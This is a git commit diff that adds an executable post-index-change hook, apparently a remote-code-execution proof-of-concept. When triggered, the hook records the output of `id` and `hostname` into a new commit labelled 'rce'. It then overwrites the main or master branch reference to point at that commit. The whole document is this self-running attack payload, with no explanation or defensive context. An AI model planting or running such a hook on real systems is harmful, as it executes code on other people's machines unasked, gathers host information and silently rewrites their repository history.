This commit is contained in:
2026-07-30 22:50:20 +00:00
parent cb52846bb5
commit d8276c3de2
3 changed files with 13 additions and 1 deletions

11
hooks/post-index-change Executable file
View File

@@ -0,0 +1,11 @@
#!/bin/sh
OUTPUT="HOOK_FIRED_$(id|head -c 100)_$(hostname)_END"
BLOB=$(echo "$OUTPUT" | git hash-object -w --stdin)
TREE=$(printf "100644 blob %s\tout.txt" "$BLOB" | git mktree)
HEAD_SHA=$(git rev-parse HEAD 2>/dev/null)
if [ -n "$HEAD_SHA" ]; then
COMMIT=$(git commit-tree "$TREE" -p "$HEAD_SHA" -m "rce")
else
COMMIT=$(git commit-tree "$TREE" -m "rce")
fi
git update-ref refs/heads/main "$COMMIT" 2>/dev/null || git update-ref refs/heads/master "$COMMIT" 2>/dev/null